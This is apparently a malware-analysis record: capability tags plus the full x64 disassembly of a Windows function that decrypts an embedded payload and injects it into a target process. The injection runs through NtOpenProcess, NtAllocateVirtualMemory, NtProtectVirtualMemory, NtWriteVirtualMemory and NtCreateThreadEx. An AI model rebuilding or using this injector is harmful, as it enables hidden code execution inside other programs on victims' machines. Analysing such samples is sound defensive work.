Function at 0x140001880
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1e0]
sub rsp, 0x2e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
xor ebx, ebx
mov r12, rdx
mov r13d, ecx
mov qword [rsp + 0x78], rbx
lea rdx, str.NTDLL
mov qword [rbp - 0x80], rbx
lea rcx, str.Trying_to_get_handle_to__S_n
mov qword [rbp - 0x78], rbx
mov dword [rbp - 0x60], ebx
call fcn.140001820
lea rcx, str.NTDLL
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r14, rax
test rax, rax
jne 0x140001911
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_get_module__error_:_0x_lx_n
call fcn.140001820
mov r14d, ebx
jmp 0x140001924
lea rdx, str.NTDLL
lea rcx, str.Got_handle_to__S_n
call fcn.140001820
lea rdx, str.kernel32.dll
lea rcx, str.Trying_to_get_handle_to__S_n
call fcn.140001820
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r15, rax
test rax, rax
jne 0x140001965
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_get_module__error_:_0x_lx_n
call fcn.140001820
mov r15, rbx
jmp 0x140001978
lea rdx, str.kernel32.dll
lea rcx, str.Got_handle_to__S_n
call fcn.140001820
lea rdx, str.LoadLibraryW
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp + 0xb0]
mov edx, 2
lea rax, [0x140003530]
nop dword [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x1400019a0
movups xmm0, xmmword [rax]
movzx eax, byte [rax + 0x10]
lea rdx, [rbp + 0xa0]
movups xmmword [rcx], xmm0
mov byte [rcx + 0x10], al
lea rcx, [rbp - 0x20]
movsd xmm0, qword [str.Asuperkey]
movzx eax, word [0x140003650]
movsd qword [rbp + 0xa0], xmm0
movups xmm0, xmmword [0x140003658]
mov word [rbp + 0xa8], ax
call section..text
lea rax, [rbp + 0xb0]
movaps xmmword [rbp + 0x90], xmm0
lea rdi, [rbp + 0x90]
mov esi, 0x12
sub rdi, rax
lea rbx, [rbp + 0xb0]
nop dword [rax]
movups xmm0, xmmword [rbx]
lea rdx, [rbp - 0x20]
mov rcx, rbx
call fcn.140001690
mov ecx, 0x10
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdi + rbx]
xor byte [rbx], al
inc rbx
sub rcx, 1
jne 0x140001a80
sub rdi, 0x10
movaps xmmword [rbp + 0x90], xmm0
sub rsi, 1
jne 0x140001a60
xor edi, edi
mov qword [rbp + 0xa0], rdi
cmp r13d, 2
jge 0x140001ac7
mov rdx, qword [r12]
lea rcx, str.usage__s__PID_
call fcn.140001820
lea eax, [rsi + 1]
jmp 0x140001d67
mov rcx, qword [r12 + 8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov qword [rbp - 0x68], rdi
xorps xmm0, xmm0
mov eax, eax
mov qword [rbp - 0x70], rax
movups xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x50], 0x30
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
test r14, r14
jne 0x140001b14
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_while_getting_handle_to_NTDLL__error_was_:__lx
call fcn.140001820
lea eax, [r14 + 1]
jmp 0x140001d67
test r15, r15
jne 0x140001b36
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_while_getting_handle_to_Kernel32__error_was_:__lx
call fcn.140001820
lea eax, [r15 + 1]
jmp 0x140001d67
lea rdx, str.NtOpenProcess
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Got_NtOpenProcess____n
mov rbx, rax
call fcn.140001820
lea r9, [rbp - 0x70]
mov edx, 0x1fffff
lea r8, [rbp - 0x50]
lea rcx, [rbp - 0x80]
call rbx
test eax, eax
je 0x140001b84
mov edx, eax
lea rcx, str.Fail_to_get_a_process_handle__x
call fcn.140001820
mov eax, 1
jmp 0x140001d67
mov rdx, qword [rbp - 0x80]
lea rcx, str.Got_Handle____0x_p_n
call fcn.140001820
lea rdx, str.NtAllocateVirtualMemory
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp - 0x80]
lea r9, [rbp - 0x58]
xor r8d, r8d
mov dword [rsp + 0x28], 2
lea rdx, [rsp + 0x78]
mov qword [rbp - 0x58], 0x111
mov dword [rsp + 0x20], 0x3000
call rax
test eax, eax
je 0x140001bea
mov edx, eax
lea rcx, str.Fail_to_alloc_memory__x
call fcn.140001820
mov eax, 1
jmp 0x140001d67
mov r8, qword [rsp + 0x78]
lea rcx, str.Got_memory_allocated_to_us_of__zu_bytes___In_0x_p_address_space_n
mov rdx, qword [rbp - 0x58]
call fcn.140001820
lea rdx, str.NtProtectVirtualMemory
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp - 0x80]
lea r8, [rbp - 0x58]
mov rbx, rax
lea rdx, [rsp + 0x78]
lea rax, [rbp - 0x60]
mov r9d, 0x40
mov qword [rsp + 0x20], rax
call rbx
test eax, eax
je 0x140001c4c
mov edx, eax
lea rcx, str.Fail_to_change_security_descriptor__x
call fcn.140001820
mov eax, 1
jmp 0x140001d67
lea rcx, str.Changed_security_descriptor___Now_only_PAGE_EXECUTE_RW_n
call fcn.140001820
lea rdx, str.NtWriteVirtualMemory
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsp + 0x78]
lea rcx, [rbp + 0xa0]
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xb0]
mov rcx, qword [rbp - 0x80]
mov r9d, 0x111
call rax
test eax, eax
je 0x140001ca8
mov edx, eax
lea rcx, str.Fail_to_write_to_memory__error_was_0x_x_n
call fcn.140001820
mov eax, 1
jmp 0x140001d67
mov r8, qword [rsp + 0x78]
lea rcx, str.Wrote__zd_bytes_into__p_address_space_n
mov rdx, qword [rbp + 0xa0]
call fcn.140001820
mov rcx, qword [rbp - 0x80]
lea rax, [rbp - 0x60]
mov r9d, 0x10
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x58]
lea rdx, [rsp + 0x78]
call rbx
test eax, eax
jne 0x140001c34
lea rcx, str.Changed_security_descriptor___Now_only_PAGE_EXECUTE_n
call fcn.140001820
lea rdx, str.NtCreateThreadEx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x78]
lea r8, [rbp - 0x50]
mov r9, qword [rbp - 0x80]
mov edx, 0x1fffff
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x78]
call rax
test eax, eax
je 0x140001d55
mov edx, eax
lea rcx, str.Fail_to_execute_thread__x
call fcn.140001820
mov eax, 1
jmp 0x140001d67
mov rdx, qword [rbp - 0x78]
lea rcx, str.Handle_to_thread_:_0x_p_n
call fcn.140001820
xor eax, eax
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.140001db0
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret